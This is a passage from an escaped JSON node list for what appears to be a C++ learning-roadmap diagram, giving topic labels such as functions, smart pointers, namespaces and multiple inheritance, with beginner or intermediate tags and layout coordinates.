\"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.9836543599333,\n        \"y\": 347.2028070104984\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bjpFWxiCKGz28E-ukhZBp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.9836543599333,\n        \"y\": 294.7028070104984\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"if else / switch / goto\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.9836543599333,\n        \"y\": 294.7028070104984\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oYi3YOc1GC2Nfp71VOkJt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 517.4836543599333,\n        \"y\": 569.015602149086\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MwznA4qfpNlv6sqSNjPZi\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 517.4836543599333,\n        \"y\": 569.015602149086\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"obZIxRp0eMWdG7gplNIBc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.4590437918661,\n        \"y\": 765.6954620911321\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Polymorphism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"xjiFBVe-VGqCqWfkPVGKf\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.4590437918661,\n        \"y\": 765.6954620911321\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sgfqb22sdN4VRJYkhAVaf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.4590437918661,\n        \"y\": 809.6954620911321\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Function Overloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"xjiFBVe-VGqCqWfkPVGKf\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.4590437918661,\n        \"y\": 809.6954620911321\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"llCBeut_uc9IAe2oi4KZ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.4590437918661,\n        \"y\": 658.0698136821208\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Operator Overloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"xjiFBVe-VGqCqWfkPVGKf\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.4590437918661,\n        \"y\": 658.0698136821208\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xjiFBVe-VGqCqWfkPVGKf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 518.4590437918661,\n        \"y\": 711.0698136821208\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lambdas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 518.4590437918661,\n        \"y\": 711.0698136821208\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MwznA4qfpNlv6sqSNjPZi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 128.06739090002304,\n        \"y\": 569.015602149086\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.06739090002304,\n        \"y\": 569.015602149086\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f1djN0GxoeVPr_0cl6vMq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.06739090002304,\n        \"y\": 656.9515973902295\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Typing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.06739090002304,\n        \"y\": 656.9515973902295\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i0EAFEUB-F0wBJWOtrl1A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.06739090002304,\n        \"y\": 709.9515973902295\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dynamic Typing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.06739090002304,\n        \"y\": 709.9515973902295\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r0yD1gfn03wTpEBi6zNsu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.06739090002304,\n        \"y\": 783.5772457992408\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RTTI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.06739090002304,\n        \"y\": 783.5772457992408\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DWw8NxkLpIpiOSUaZZ1oA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -281.9671760495324,\n        \"y\": 569.015602149086\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pointers and References\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -281.9671760495324,\n        \"y\": 569.015602149086\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uUzRKa9wGzdUwwmAg3FWr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.4671760495324,\n        \"y\": 661.0205568938326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"References\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -284.4671760495324,\n        \"y\": 661.0205568938326\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mSFwsTYvmg-GwG4_DEIEf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.4671760495324,\n        \"y\": 714.0205568938326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -284.4671760495324,\n        \"y\": 714.0205568938326\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9aA_-IfQ9WmbPgwic0mFN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.4671760495324,\n        \"y\": 767.0205568938326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lifetime of Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -284.4671760495324,\n        \"y\": 767.0205568938326\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"ulvwm4rRPgkpgaqGgyH5a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 834.0632184187253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Smart Pointers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 834.0632184187253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vUwSS-uX36OWZouO0wOcy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 887.0632184187253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"weak_ptr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 887.0632184187253\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b5jZIZD_U_CPg-_bdndjz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 940.0632184187253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"shared_ptr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 940.0632184187253\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k9c5seRkhgm_yHPpiz2X0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 993.0632184187253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"unique_ptr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 993.0632184187253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uEGEmbxegATIrvGfobJb9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1060.9498696738276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Raw Pointers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1060.9498696738276\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gld0nRs0sM8kRe8XmYolu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1113.9498696738276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"New/Delete Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1113.9498696738276\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6w0WExQ4lGIGgok6Thq0s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1166.9498696738276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Leakage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -275.9671760495324,\n        \"y\": 1166.9498696738276\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Zw2AOTK5uc9BoKEpY7W1C\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 66.99375240505299,\n        \"y\": 1116.4555450086277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Structuring Codebase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.99375240505299,\n        \"y\": 1116.4555450086277\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dKCYmxDNZubCVcR5rf8b-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.99375240505299,\n        \"y\": 1025.0759762139076\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scope\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.99375240505299,\n        \"y\": 1025.0759762139076\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iIdC7V8sojwyEqK1xMuHn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.99375240505299,\n        \"y\": 980.0759762139076\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Namespaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.99375240505299,\n        \"y\": 980.0759762139076\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CK7yf8Bo7kfbV6x2tZTrh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.99375240505299,\n        \"y\": 921.9725710130274\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Headers / CPP Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.99375240505299,\n        \"y\": 921.9725710130274\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CMlWNQwpywNhO9B6Yj6Me\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 418.86058049826306,\n        \"y\": 1116.4555450086277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Structures and Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 418.86058049826306,\n        \"y\": 1116.4555450086277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7sdEzZCIoarzznwO4XcCv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 486.0885117402935,\n        \"y\": 1335.826261482708\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Rule of Zero, Five, Three\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WjHpueZDK-d3oDNMVZi9w\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 486.0885117402935,\n        \"y\": 1335.826261482708\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WjHpueZDK-d3oDNMVZi9w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 539.0885117402935,\n        \"y\": 1213.538589268166\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multiple Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 539.0885117402935,\n        \"y\": 1213.538589268166\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b3-QYKNcW3LYCNOza3Olf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.86058049826306,\n        \"y\": 1022.9612203434276\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.86058049826306,\n        \"y\": 1022.9612203434276\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      